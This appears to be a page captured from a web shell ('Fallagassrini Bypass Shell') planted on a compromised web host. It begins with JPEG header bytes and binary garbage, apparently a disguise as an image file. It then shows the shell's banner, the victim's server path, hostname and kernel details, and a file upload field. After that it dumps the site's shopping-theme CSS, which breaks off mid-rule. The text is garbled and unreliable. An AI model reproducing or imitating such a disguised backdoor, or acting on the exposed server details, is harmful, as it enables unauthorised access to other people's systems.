JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/jpewexports/public_html/css/

Linux 43-225-53-84.webhostbox.net 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Upload File :
Current File : /home/jpewexports/public_html/css/v_152_30e4606f9e0b252ae287d80b1b4c848a_all.css

@charset "UTF-8";

* {

	padding:0;

	margin:0

}

ul, ol {

	list-style:none;

	margin:0

}

option {

	padding:2px 5px !important;

	border-width:1px

}

.alert ol li {

	list-style-type:decimal;

	margin:0 0 5px 15px

}

html {

	width:100%;

	padding:0;

	margin:0;

	outline:0 !important;

	background:#fff

}

img {

	max-width:100%;

	height:auto

}

body {

	font:"Arial", Helvetica, sans-serif;

	font-size:12px;

	color:#666666;

	padding:0;

	margin:0;

	-webkit-text-size-adjust:none;

	min-width:320px;

	background:#fff;

	line-height:1.5em

}

h1 {

	font-size:24px;

	line-height:1.5;

	margin-bottom:14px;

	color:#333333

}

h2 {

	font-size:20px;

	line-height:1.5;

	margin-bottom:12px;

	color:#333333

}

h3 {

	font-size:18px;

	line-height:1.5;

	margin-bottom:10px;

	color:#333333

}

h4 {

	font:14px/1.5;

	line-height:1.5;

	margin-bottom:8px;

	color:#333333

}

h5 {

	font-size:12px;

	line-height:1.5;

	margin:0;

	color:#333333

}

h6 {

	font-size:11px;

	line-height:1.5;

	margin-bottom:4px;

	color:#333333

}

a, a:visited, a:active, a:link, a:focus {

	cursor:pointer;

	text-decoration:none;

	color:#444;

	outline:none

}

a:hover {

	text-decoration:none;

	color:#f3734f

}

.btn i, a > i {

	margin-right:5px

}

a:focus, button:focus, .button:focus {

	outline:none !important

}

.input-group-btn > .btn {

	border-left:none;

	border-top-left-radius:0;

	border-bottom-left-radius:0

}

ol {

	counter-reset:item;

	list-style-type:none;

	margin:0 0 0 15px

}

legend {

	color:#000

}

sup {

	color:#F00;

	font-size:100%;

	top:-4px

}

div.tooltip.top {

	margin-top:-5px;

	top:-80px

}

div.tooltip .tooltip-inner {

	border-radius:0

}

#header {

    background: #eeeeee none repeat scroll 0 0;

    position: relative;

}

.header-container {

	margin-bottom:30px

}

.header-container .block_bannertop {

	background:#eee;

	padding:20px 0 0

}

.header-container .header-top {

	height:36px;

	border-bottom:1px solid #dddddd

}

.header-container .header-top #block_topright {

	text-align:right

}

.header-container .header-top #block_topright > div {

	text-align:left

}

.header-container .header-center {

	padding:24px 0

}

.header-container .header-center #header_logo {

/*	text-align:center;

	margin-top:7px */

}

.header-container .header-center .container {

	position:relative

}

.header-container .header-bottom {

	background-color:#444

}

.index .slider-container {

	margin-bottom:30px

}

.columns-container {

	margin-bottom:0px

}

.layout-boxed {

	width:1200px;

	margin:0 auto;

	background:white

}

.layout-boxed .menu-fixed {

	width:1200px

}

h3.mod-title {

	margin:0 0 10px

}

h3.mod-title .fa {

	width:35px;

	height:35px;

	text-align:center;

	line-height:35px;

	font-size:20px;

	color:white;

	background:#666;

	border-radius:50%;

	margin-right:10px

}

ul.inline {

	display:inline-block

}

ul.inline li {

	display:inline-block;

	margin:0 8px

}

ul.inline li a {

	color:#c2c2c2

}

.clear {

	clear:both

}

h1 strong {

	display:block;

	float:right;

	padding:0 0 0 0;

	font-size:14px;

	line-height:20px;

	color:#fff;

	font-style:italic;

	white-space:nowrap;

	text-transform:none

}

h1 strong a {

	color:#fff

}

.notification {

	font:16px Georgia, "Times New Roman", Times, serif;

	letter-spacing:1px;

	padding:20px 20px 20px 60px;

	border-radius:4px

}

.notification strong {

	margin-right:5px

}

.notification p {

	font-size:11px;

	padding:0;

	margin:0;

	color:#666666

}

.notification_warning {

	background-image:url(../images/error.png);

	background-position:15px center;

	background-repeat:no-repeat;

	border:2px solid #FFC237;

	background-color:#FFEAA8;

	color:#826200

}

span.error {

	color:#ff0000

}

a.product_link {

	font-size:14px;

	color:#8e8e8e;

	font-weight:normal;

	text-transform:uppercase;

	line-height:20px

}

a.product_link:hover {

	color:#7cd3c0

}

.price {

	display:inline-block;

	color:#f8ab16;

	font-weight:normal;

	font-size:18px;

	font-weight:bold

}

.price-old {

	text-decoration:line-through

}

.columns .bordercolor, #columns .bordercolor {

	border-color:#e7e4de

}

.box {

	background:#fff;

	border:1px solid #e7e7e7;

	padding:14px 18px 13px;

	margin:0 0 30px 0;

	line-height:23px

}

.box.box-small {

	padding:9px 10px 9px 20px

}

.box.box-small .dark {

	padding-top:10px;

	padding-right:20px;

	margin-bottom:0;

	width:auto

}

div.error {

	margin:20px 0 20px 0;

	padding:20px

}

div.error ol {

	margin:0

}

div.error ol li {

	padding:0 0 0 0;

	list-style-position:inside;

	list-style-type:decimal

}

div.error p {

	padding:0;

	margin:0 0 0 0;

	font-size:14px;

	text-transform:uppercase

}

div.error p.link {

	float:right;

	margin-top:7px

}

div.error p.link .btn {

	color:#fff;

	font-weight:normal

}

p.warning {

	background:#d4eeff;

	border:1px solid #34acf9;

	margin:20px 0 20px 0;

	padding:12px 10px 12px 20px;

	font-size:14px;

	color:#0473b9

}

p.warning i {

	font-size:25px;

	vertical-align:-3px;

	margin-right:20px

}

.warning_inline {

	color:#ff0000;

	font-weight:bold

}

.alert i {

	font-size:25px;

	vertical-align:-3px;

	margin-right:20px

}

.alert-error, div.error {

	background:#fde4e1;

	padding-left:70px;

	font-size:14px;

	font-weight:bold;

	border:1px solid #ebbcb5;

	font-size:12px;

	font-weight:bold;

	color:#df0505

}

p.success, p.confirmation {

	margin:20px 0 0 0;

	padding:12px 10px 12px 20px;

	font:bold 12px "Arial";

	color:#95bc01;

	background:#f7fde1;

	border:1px solid #dfebb5;

	border-radius:5px

}

p.success i {

	font-size:25px;

	vertical-align:-3px;

	margin-right:20px

}

.success_inline {

	color:#33a33b;

	font-weight:bold

}

.required {

	color:red

}

#order-confirmation p.success {

	margin-bottom:20px

}

a.cus-suport {

	margin-left:10px;

	color:#a9a9a9

}

a.cus-suport:hover {

	color:#333

}

.cus-suport i {

	margin-right:5px;

	font-size:13px

}

a.btn-default, .button, input.button_mini, input.button_small, input.button, input.button_large, input.button_mini_disabled, input.button_small_disabled, input.button_disabled, input.button_large_disabled, input.exclusive_mini, input.exclusive_small, input.exclusive, input.exclusive_large, input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, a.button_mini, a.button_small, a.button, a.button_large, a.exclusive_mini, a.exclusive_small, a.exclusive, a.exclusive_large, span.button_mini, span.button_small, span.button, span.button_large, span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large {

	display:inline-block;

	padding:7px 12px;

	font:13px/18px Arial, Helvetica, sans-serif;

	color:#fff;

	margin-bottom:0;

	vertical-align:middle;

	cursor:pointer;

	filter:none;

	border-radius:0;

	white-space:normal;

	text-align:center;

	border:0

}

a.btn-default i, .button i, input.button_mini i, input.button_small i, input.button i, input.button_large i, input.button_mini_disabled i, input.button_small_disabled i, input.button_disabled i, input.button_large_disabled i, input.exclusive_mini i, input.exclusive_small i, input.exclusive i, input.exclusive_large i, input.exclusive_mini_disabled i, input.exclusive_small_disabled i, input.exclusive_disabled i, input.exclusive_large_disabled i, a.button_mini i, a.button_small i, a.button i, a.button_large i, a.exclusive_mini i, a.exclusive_small i, a.exclusive i, a.exclusive_large i, span.button_mini i, span.button_small i, span.button i, span.button_large i, span.exclusive_mini i, span.exclusive_small i, span.exclusive i, span.exclusive_large i {

	margin-right:5px

}

a.btn-default i.right, .button i.right, input.button_mini i.right, input.button_small i.right, input.button i.right, input.button_large i.right, input.button_mini_disabled i.right, input.button_small_disabled i.right, input.button_disabled i.right, input.button_large_disabled i.right, input.exclusive_mini i.right, input.exclusive_small i.right, input.exclusive i.right, input.exclusive_large i.right, input.exclusive_mini_disabled i.right, input.exclusive_small_disabled i.right, input.exclusive_disabled i.right, input.exclusive_large_disabled i.right, a.button_mini i.right, a.button_small i.right, a.button i.right, a.button_large i.right, a.exclusive_mini i.right, a.exclusive_small i.right, a.exclusive i.right, a.exclusive_large i.right, span.button_mini i.right, span.button_small i.right, span.button i.right, span.button_large i.right, span.exclusive_mini i.right, span.exclusive_small i.right, span.exclusive i.right, span.exclusive_large i.right {

	margin-left:5px

}

span.exclusive.disabled {

	padding-bottom:7px;

	padding-top:5px

}

span.exclusive.disabled:before {

	content:"";

	font-family:'FontAwesome';

	display:inline-block;

	padding-right:5px;

	font-size:22px;

	line-height:20px;

	vertical-align:-1px

}

.btn-img {

	padding:2px 12px 1px 3px !important

}

div.form-group {

	overflow:hidden

}

div.form-group > label {

	min-width:150px;

	float:left

}

div.form-group > input.form-control {

	display:inline-block;

	width:53%

}

div.form-group .selector {

	width:53% !important

}

div.form-group .selector > span {

	width:100% !important

}

#adress_alias > input.form-control {

	width:48.5%

}

#login_form div.form-group > label {

	display:block;

	float:none

}

textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[type="time"], input[type="week"], input[type="number"], input[type="email"], input[type="url"], input[type="search"], input[type="tel"], input[type="color"], .uneditable-input {

	border-radius:0;

	font-size:14px;

	background:#fff;

	padding:4px 6px;

	border:1px solid #e7e4de;

	height:32px

}

.submit {

	margin:25px 0 0

}

.alert {

	margin:25px 0

}

#layered_form div.checker {

	margin-top:3px

}

form {

	margin:0 0 20px 0;

	padding:0

}

select, textarea {

	display:block;

	background-color:white;

	font:"Arial", Helvetica, sans-serif;

	border:1px solid #e7e4de;

	color:#000;

	margin:0 0 12px 0;

	padding:6px;

	height:32px;

	width:100%;

	outline:none;

	color:white;

	border-radius:0;

	-webkit-box-shadow:none;

	-moz-box-shadow:none;

	box-shadow:none;

	-webkit-transition-duration:0.15s;

	transition-duration:0.15s;

	-webkit-appearance:none;

	color:#666

}

textarea {

	height:auto;

	resize:none

}

select, select:focus, select:focus {

	width:100%;

	outline:none

}

select.btn-mini {

	height:auto;

	line-height:14px

}

select.btn {

	-webkit-appearance:button;

	-moz-appearance:button;

	appearance:button;

	padding-right:16px

}

select.btn-mini + .caret {

	margin-left:-20px;

	margin-top:9px

}

input[type=submit], input[type=button] {

	-webkit-border-radius:0

}

label {

	display:inline-block;

	cursor:default;

	font-weight:normal

}

input, textarea, select, .uneditable-input {

	margin-bottom:0

}

.radio input[type="radio"], .checkbox input[type="checkbox"] {

	float:left;

	margin-left:0

}

input[type="radio"], input[type="checkbox"] {

	line-height:normal;

	margin:2px 0 0

}

form p.id_state {

	display:none

}

form.std .select span, form.std .radio span, form.std .checkbox span {

	text-align:left;

	padding:0 0 0 0;

	color:#333

}

form.std span.inline-infos {

	display:block;

	margin:0 0 -3px 0;

	padding:2px 0 0 157px;

	font:normal 11px "Arial";

	color:#3a3a3a

}

span.editable {

	float:none;

	color:#3a3a3a

}

span.form_info {

	padding:0 0 0 5px;

	color:#333;

	font-style:italic

}

input:focus {

	outline:none

}

form.std .required_desc {

	margin:0 0 -3px 0;

	padding-left:157px

}

#order-detail-content-table td:first-child {

	padding-left:10px

}

#block-order-detail .adresses_bloc ul {

	padding:20px 4%;

	border:1px solid #e7e4de;

	background:#fdfdfd;

	margin-bottom:20px

}

.tit-ord {

	margin-bottom:7px

}

#order-detail-content-table tfood td strong {

	margin-right:10px

}

#vat_area {

	padding-bottom:12px

}

#add_address .submit2 {

	padding:0;

	margin:10px 0 0 0

}

#add_address textarea {

	margin-bottom:20px;

	height:100px;

	width:53%

}

#add_address .inline-infos.required {

	margin-bottom:5px

}

.order_qte_input + label {

	float:left;

	margin-left:5px

}

#order-detail-content td {

	padding-right:10px;

	padding-top:10px;

	padding-bottom:10px

}

div.radio.hover span {

	background-position:0 -243px !important

}

.table thead > tr > th {

	background:#eee

}

div.table_block {

	padding:20px 0 0 0

}

table.std th, table.std td {

	vertical-align:middle;

	text-align:center

}

table.std th {

	white-space:nowrap;

	background:#ddd;

	border:solid 1px #ccc

}

table.std tfoot td {

	color:#333;

	text-align:right;

	white-space:nowrap

}

table, table.std {

	background:#fdfdfd;

	border-spacing:0;

	margin-bottom:20px;

	vertical-align:middle;

	border:1px solid #e7e4de;

	width:100%

}

table th {

	border:1px solid #e7e4de;

	color:#7a7a7a;

	font-size:13px;

	font-weight:bold;

	padding:10px;

	text-align:center;

	vertical-align:middle;

	text-transform:uppercase

}

table td {

	border:1px solid #e7e4de;

	padding:10px

}

.delivery_option table td {

	text-align:center

}

table tfoot td {

	text-align:right

}

.sortPagiBar .btn, .sortPagiBar .btn-group > .btn:first-child {

	padding-right:27px;

	border-radius:0

}

.sortPagiBar .caret {

	position:absolute;

	right:10px

}

.sortPagiBar {

	padding:0

}

.sortPagiBar p {

	padding:0;

	margin:0

}

.nbrItemPage {

	float:right;

	min-width:220px

}

.nbrItemPage span {

	color:#404040

}

.nbrItemPage label {

	float:left

}

.dropdown-menu li > a {

	padding:6px 10px 6px 10px

}

.dropdown-menu li > a:hover {

	background:#333

}

.dropdown-menu {

	padding:0;

	border-radius:0;

	min-width:215px

}

#itempage {

	float:left;

	margin:0

}

.nbrItemPage label {

	padding:5px 10px 0 0

}

.nbrItemPage.nbr_page {

	margin:0 0 10px 0;

	position:relative

}

.nbrItemPage.nbr_page .b-core-ui-select {

	width:50px

}

.product_view {

	float:right

}

.product_view li {

	float:left;

	cursor:pointer;

	color:#9D9C9C;

	display:block

}

.product_view li i {

	display:inline-block;

	font-size:30px;

	vertical-align:middle

}

.product_view li.current {

	cursor:default;

	color:#f95f00

}

.product_view li#product_view_list {

	margin-left:10px

}

#productsSortForm .dropdown-toggle {

	float:left

}

.bottom_pagination.shop_box_row {

	padding:20px 0 0 0;

	border-bottom:none;

	border-top:1px solid #e7e4de

}

.bottom_pagination > form > p {

	margin:0

}

.bottom_pagination > form {

	float:right;

	margin:0

}

#pagination_form {

	float:left

}

#pagination_form select {

	float:left;

	margin:0 0 0 0

}

#pagination_form label {

	display:inline-block;

	float:left;

	padding:3px 12px 0 20px

}

.pagination {

	list-style-type:none;

	margin:0

}

form.pagination {

	float:right

}

.pagination ul {

	border-radius:0;

	box-shadow:0 0 0 transparent;

	-moz-box-shadow:0 0 0 transparent;

	-webkit-box-shadow:0 0 0 transparent

}

.pagination ul > li:first-child > a, .pagination ul > li:first-child > span {

	border-radius:0;

	filter:none

}

.pagination ul > li:last-child > a, .pagination ul > li:last-child > span {

	border-radius:0

}

.pagination ul > li > a, .pagination ul > li > span {

	border:none;

	padding:0 10px;

	border-color:#D4D4D4 #D4D4D4 #D4D4D4 #D4D4D4 !important;

	border-style:solid;

	border-width:1px

}

#pagination_bottom li .button {

	color:#333

}

#pagination_bottom li span.button:hover {

	background:#fff

}

.top-pagination-content, .bottom-pagination-content {

	position:relative;

	float:right;

	height:30px;

	margin-left:30px

}

.top-pagination-content div.pagination, .bottom-pagination-content div.pagination {

	margin:0;

	width:100%

}

.top-pagination-content div.pagination .showall, .bottom-pagination-content div.pagination .showall {

	float:right;

	margin:0

}

.top-pagination-content div.pagination .showall .btn span, .bottom-pagination-content div.pagination .showall .btn span {

	font-size:13px;

	padding:3px 5px 4px 5px;

	line-height:normal

}

.top-pagination-content ul.pagination li, .bottom-pagination-content ul.pagination li {

	display:inline-block;

	margin:0

}

.top-pagination-content ul.pagination li > a, .top-pagination-content ul.pagination li > span, .bottom-pagination-content ul.pagination li > a, .bottom-pagination-content ul.pagination li > span {

	margin:0;

	padding:0;

	font-weight:bold;

	border:1px solid;

	border-color:#dfdede #d2d0d0 #b0afaf #d2d0d0;

	display:block

}

.top-pagination-content ul.pagination li > a span, .top-pagination-content ul.pagination li > span span, .bottom-pagination-content ul.pagination li > a span, .bottom-pagination-content ul.pagination li > span span {

	padding:0;

	display:block;

	background:#fff;

	font-weight:normal;

	color:#404040;

	height:26px;

	width:26px;

	line-height:26px;

	text-align:center

}

.top-pagination-content ul.pagination li > a:hover span, .bottom-pagination-content ul.pagination li > a:hover span {

	color:#fff

}

.top-pagination-content ul.pagination li .fa, .bottom-pagination-content ul.pagination li .fa {

	margin:0;

	line-height:26px

}

.top-pagination-content ul.pagination li.pagination_previous, .top-pagination-content ul.pagination li.pagination_next, .bottom-pagination-content ul.pagination li.pagination_previous, .bottom-pagination-content ul.pagination li.pagination_next {

	color:#777676;

	font-weight:bold

}

.top-pagination-content ul.pagination li.pagination_previous > a, .top-pagination-content ul.pagination li.pagination_previous > span, .top-pagination-content ul.pagination li.pagination_next > a, .top-pagination-content ul.pagination li.pagination_next > span, .bottom-pagination-content ul.pagination li.pagination_previous > a, .bottom-pagination-content ul.pagination li.pagination_previous > span, .bottom-pagination-content ul.pagination li.pagination_next > a, .bottom-pagination-content ul.pagination li.pagination_next > span {

	display:block;

	padding:0;

	width:28px;

	height:28px;

	line-height:28px;

	text-align:center;

	background:transparent

}

.top-pagination-content ul.pagination li.active > span, .bottom-pagination-content ul.pagination li.active > span {

	color:#333333;

	border-color:#dfdede #d2d0d0 #b0afaf #d2d0d0

}

.top-pagination-content ul.pagination li.active > span span, .bottom-pagination-content ul.pagination li.active > span span {

	background:#f6f6f6

}

.top-pagination-content .product-count, .bottom-pagination-content .product-count {

	color:#909090;

	padding:8px 0;

	display:inline-block;

	vertical-align:top

}

.newsletter_home {

	overflow:hidden;

	padding-top:10px;

	padding-right:0;

	float:right

}

.newsletter_home .title-block {

	margin-left:20px;

	display:inline-block;

	padding:1px 0 0 60px;

	background:url("../images/icon-newletter-footer.png") no-repeat left center

}

.newsletter_home .page-heading {

	font-size:150%;

	text-transform:uppercase;

	font-weight:600;

	color:#fff;

	margin:7px 0 6px

}

.newsletter_home .pre-text {

	margin:0

}

.newsletter_home .block_content {

	float:right;

	padding-top:5px

}

.newsletter_home .block_content form {

	margin:0

}

.newsletter_home .block_content form .form-group {

	margin:0

}

.newsletter_home .block_content #newsletter-input {

	height:40px;

	padding:5px 15px;

	background:#fff;

	color:#999;

	font-size:12px;

	float:left;

	width:270px;

	height:36px;

	transition:0.3s all ease 0s;

	border:solid 1px #ddd;

	border-right:none

}

.newsletter_home .block_content .button {

	height:36px;

	float:left;

	text-transform:uppercase;

	font-size:12px;

	transition:0.3s all ease 0s;

	font-weight:500;

	text-transform:uppercase

}

.blockpermanentlinks-header {

	position:absolute;

	left:0;

	top:187px;

	width:100%

}

.blockpermanentlinks-header #header_links {

	overflow:hidden;

	border:1px solid #e7e4de;

	border-bottom:4px solid #7cd3c0;

	background:#fff

}

#header_links li {

	float:left;

	padding:0 0 0 0;

	margin:0;

	border-right:1px solid #dfdfdf

}

#header_links li a {

	color:#a9a9a9;

	text-decoration:none;

	font-size:12px;

	font-weight:600;

	line-height:15px;

	text-transform:uppercase;

	display:block;

	padding:19px 50px 19px 50px

}

#header_links li a:hover, body#index a.header_links_home, #sitemap a.header_links_sitemap, #contact a.header_links_contact, #cms a.header_links_delivery, #stores a.header_links_store {

	color:#7cd3c0

}

.mobile-link-top {

	display:none

}

#currencies-block-top {

	border-left:1px solid #ddd;

	border-right:1px solid #ddd;

	padding:0 13px

}

#currencies-block-top form {

	margin:0

}

#currencies-block-top div.current {

	line-height:36px;

	font-size:12px

}

#languages_block_top:hover, #currencies-block-top:hover, .mobile-link-top h4 {

	cursor:pointer

}

.list_header {

	display:none;

	z-index:1000;

	width:140px;

	position:absolute;

	right:-1px;

	top:44px;

	list-style:none;

	background:#fff;

	border:1px solid #e7e4de

}

#currencies-block-top p.inner-carrencies, #languages_block_top p, .mobile-link-top h4 {

	color:#c3baae;

	font-size:12px;

	position:relative;

	font-weight:bold;

	text-transform:capitalize;

	margin-bottom:0;

	padding:11px 18px 15px 19px

}

.list_header li {

	border-top:1px solid #e7e4de

}

.list_header li:first-child {

	border:none

}

.list_header li.selected {

	padding:8px 0 8px 10px;

	cursor:default;

	color:#7cd3c0

}

.list_header li.selected a {

	color:#7cd3c0;

	cursor:default

}

.list_header li a {

	display:block;

	color:#c3baae;

	text-decoration:none;

	font-size:13px;

	padding:8px 5px 8px 10px;

	font-weight:bold

}

.list_header li a:hover {

	color:#7cd3c0

}

.list_header li.selected span {

	cursor:default;

	font-weight:bold

}

#currencies-block-top p.inner-carrencies:hover, #languages_block_top p:hover, .mobile-link-top h4:hover {

	color:#7cd3c0

}

.arrow_header_top {

	width:auto;

	margin:3px 0 0 23px

}

#currencies-block-top p.active, #currencies-block-top p:hover, #languages_block_top p.active, #languages_block_top p:hover, .mobile-link-top h4.active, .mobile-link-top h4:hover {

	color:#7cd3c0

}

#languages_block_top {

	right:212px

}

#languages_block_top div.current {

	font-size:12px

}

#languages_block_top P {

	padding:11px 15px 15px 19px;

	min-width:77px

}

#languages_block_top .arrow_header_top {

	margin-left:19px

}

#countries_2 .countries_ul li img {

	float:left;

	margin:2px 10px 0 0

}

#countries_2 .countries_ul li span .firstWord {

	display:none

}

#countries_2 .countries_ul li span {

	display:block

}

.blockuserinfo {

	position:absolute;

	top:87px;

	right:382px;

	background:#ff906a

}

.blockuserinfo a span {

	display:inline-block

}

.blockuserinfo a span i {

	font-size:25px;

	color:#fff;

	line-height:25px;

	padding:11px 15px 10px 15px;

	display:block

}

.blockuserinfo a:hover span i {

	color:#333

}

#header_user {

	position:absolute;

	right:0;

	top:87px;

	z-index:99

}

#header_user #shopping_cart a {

	display:block;

	padding:14px 0 0 0;

	color:#d5cfc6;

	font-weight:normal;

	font-size:12px;

	line-height:15px;

	background:#ffffff;

	border:1px solid #e7e4de;

	text-transform:uppercase;

	min-width:199px

}

#header_user #shopping_cart a:hover {

	color:#7cd3c0

}

#header_user #shopping_cart .shopping_cart_title {

	display:inline-block;

	float:left;

	padding:0 0 0 0;

	color:#c3baae;

	font-weight:bold;

	text-transform:none

}

#header_user #shopping_cart span.shopping_cart_title {

	margin-right:6px

}

#header_user #shopping_cart .opancart {

	float:left;

	font-size:25px;

	line-height:25px;

	color:#fff;

	margin:-15px 10px -1px -1px;

	padding:9px 12px 12px 11px;

	background:#7cd3c0

}

#header_user.close-cart #shopping_cart a {

	color:#7cd3c0

}

.hide {

	display:none;

	visibility:inherit

}

.visible {

	display:block

}

.zoom_one {

	zoom:1

}

.f_left {

	float:left

}

.low_opacity {

	opacity:0.3

}

.bottom_indent {

	margin-bottom:15px !important

}

.detail_step_by_step thead tr th.first_item {

	width:150px

}

.ml_none {

	margin-left:0 !important

}

.extra-wrap {

	overflow:hidden

}

div.box-menu ul.tree {

	margin:0

}

div.box-menu ul.tree > li {

	border-bottom:1px solid #e4e4e4

}

div.box-menu ul.tree > li.last {

	border-bottom:none

}

div.box-menu ul.tree > li > a {

	color:#666

}

.block {

	display:inline-block;

	width:100%;

	margin-bottom:34px;

	padding:0 18px;

	border:1px solid #ddd

}

.block .title_block {

	position:relative;

	border-bottom:3px solid;

	margin:-5px -19px 0 -19px;

	font-size:100%;

	padding:0

}

.block .title_block strong {

	display:inline-block;

	font-size:16px;

	text-transform:uppercase;

	position:relative;

	color:#fff;

	line-height:37px;

	padding:0 18px;

	background-color:#ea3a3c

}

.block .title_block strong:before {

	content:"";

	display:inline-block;

	position:absolute;

	right:-20px;

	top:0;

	width:0;

	height:0;

	border-right:20px solid transparent;

	border-bottom:37px solid

}

.block h4 {

	font-size:18px;

	color:#444;

	font-weight:600;

	text-transform:uppercase;

	padding:0 0 7px;

	margin:0 0 15px;

	position:relative

}

.block h4 a {

	color:#333333

}

.block h4 a:hover {

	color:#333333

}

.block h4:after {

	content:"";

	position:absolute;

	left:0;

	bottom:-2px;

	height:1px;

	width:100%;

	background:#ddd

}

.block .block_content {

	padding:0

}

.block .block_content:before, .block .block_content:after {

	content:" ";

	display:table

}

.block .block_content:after {

	clear:both

}

.list-link li {

	padding:4px 0

}

.list-link li a {

	transition:0.3s all ease 0s

}

.list-inline {

	margin:0

}

.inner_content {

	padding:0;

	border:1px solid #e7e4de;

	margin-bottom:30px;

	position:relative;

	background:#fff;

	padding:22px 0 0 0

}

.main_page_products li .product_image {

	text-align:center;

	display:block;

	width:215px;

	margin:0 auto

}

.main_page_products li div.product_image {

	padding-bottom:16px

}

.main_page_products li h5 {

	padding:2px 0 4px

}

.main_page_products li p.price_container {

	margin-bottom:0;

	padding-bottom:0

}

.main_page_products li img {

	width:100%;

	padding-bottom:0

}

.main_page_products li a.button, .main_page_products li a.exclusive, .main_page_products li span.exclusive {

	margin:10px 0 7px;

	float:left

}

.main_page_products li a.button i, .main_page_products li a.exclusive i, .main_page_products li span.exclusive i {

	margin:0

}

.main_page_products li a.btn.ajax_add_to_cart_button, .main_page_products li span.exclusive {

	padding-left:0;

	padding-top:7px;

	padding-bottom:6px;

	padding-right:0;

	width:35px;

	text-align:center;

	margin-left:9px

}

.main_page_products li span.exclusive.disabled:before {

	padding-right:0

}

.main_page_products li .product_content {

	background:url(../images/product_bg.gif) repeat-x white;

	margin-top:1px;

	padding:14px 20px 12px 22px;

	overflow:hidden

}

.main_page_products li .product_content .inner_content1 {

	float:left;

	width:146px

}

h1.page-heading {

	margin:0 0 20px;

	font-size:24px;

	font-weight:600;

	text-transform:uppercase

}

div.page-heading {

	margin-bottom:20px;

	position:relative;

	z-index:1

}

div.page-heading h1 {

	font-size:20px;

	margin:0;

	font-weight:600;

	text-transform:uppercase;

	color:#666

}

div.heading-center {

	text-align:center

}

div.heading-center h1 {

	min-width:100px;

	background:white;

	padding:0 30px;

	display:inline-block;

	z-index:10;

	position:relative

}

.page-subheading {

	font-family:"Open Sans", sans-serif;

	font-weight:600;

	text-transform:uppercase;

	color:#333333;

	font-size:18px;

	padding:0 0 15px;

	line-height:normal;

	margin-bottom:12px;

	margin:0

}

h3.page-product-heading {

	text-transform:uppercase;

	margin:0 0 15px 0;

	position:relative;

	border-bottom:1px solid #ccc

}

h3.page-product-heading span {

	position:relative;

	z-index:1

}

ul.footer_links {

	margin-top:30px;

	padding:20px 0 0 0;

	border-top:1px solid #e6e6e6;

	overflow:hidden

}

ul.footer_links li {

	float:left

}

ul.footer_links li + li {

	margin-left:10px

}

.column_box .toggle_content {

	margin-bottom:30px

}

.column_box .toggle_content > a {

	margin-top:20px

}

.column_box .toggle_content form {

	margin:15px 0 0 0

}

.products-block {

	border:none;

	padding:0

}

.products-block li {

	margin:0;

	position:relative;

	overflow:hidden;

	padding:10px 0

}

.products-block li .products-block-image {

	float:left;

	margin-right:20px;

	border:solid 1px #e3e1e1;

	transition:0.3s all ease 0s;

	padding:4px

}

.products-block li .product-content h5 {

	font-size:16px;

	line-height:22px;

	margin:0 0 5px

}

.products-block li .product-content h5 a {

	color:#444

}

.products-block li .product-content .price-box {

	margin-bottom:5px

}

.products-block li .product-content .price-box .price {

	font-weight:500

}

.products-block li .product-content .nb-comments {

	display:block;

	color:#909090;

	font-size:12px;

	display:none

}

.products-block li .product-content .nb-comments span {

	color:#909090;

	padding-right:2px

}

.products-block li:hover .products-block-image {

	opacity:0.7

}

#special_block_right .products-block li {

	padding-bottom:20px

}

#stores_block_left p a img {

	margin:0 0 20px 0

}

.myaccount-column ul {

	margin-bottom:15px

}

.myaccount-column ul li {

	padding:4px 0

}

.myaccount-column ul li .fa {

	font-size:14px;

	width:15px

}

.myaccount-column ul li .fa-map-marker {

	font-size:18px

}

.blockmanufacturer li.last {

	border:none

}

#viewed-products_block_left ul li.last {

	border:none;

	padding-bottom:0

}

#header #cart_block {

	display:none;

	z-index:999;

	position:absolute;

	right:0;

	top:132px;

	width:285px;

	border:1px solid #ededed;

	background:#fff

}

#header #cart_block .toggle_content {

	margin:10px

}

#header #cart_block h4 {

	display:none

}

#cart_block #cart_block_no_products {

	margin:0

}

#cart_block #cart_block_summary {

	display:none;

	padding:10px 0 0 0

}

#cart_block #cart_block_summary span {

	color:#000

}

#cart_block #cart_block_summary span.ajax_cart_total {

	margin:0 0 0 5px;

	font-weight:bold

}

#cart_block .quantity-formated {

	display:inline-block;

	float:left;

	margin-right:5px;

	line-height:16px;

	color:#343336

}

#cart_block #cart_block_list dl {

	margin:0

}

#cart_block #cart_block_list dl dt {

	padding:10px 0 0 0;

	border-top:1px solid #e7e4de;

	position:relative;

	clear:both

}

#cart_block #cart_block_list dl dt:first-child {

	border:none

}

#cart_block #cart_block_list dl dt a {

	display:inline-block;

	float:left;

	line-height:17px

}

#cart_block #cart_block_list dl dt a img {

	display:inline-block;

	margin-right:10px;

	margin:0 0 10px 0

}

#cart_block #cart_block_list dl dd {

	position:relative;

	margin:0 0 10px 0

}

#cart_block #cart_block_list dl dd a {

	font-style:italic

}

#cart_block .cart-images {

	width:70px;

	margin-right:10px

}

#cart_block .remove_link {

	position:absolute;

	right:7px;

	top:15px;

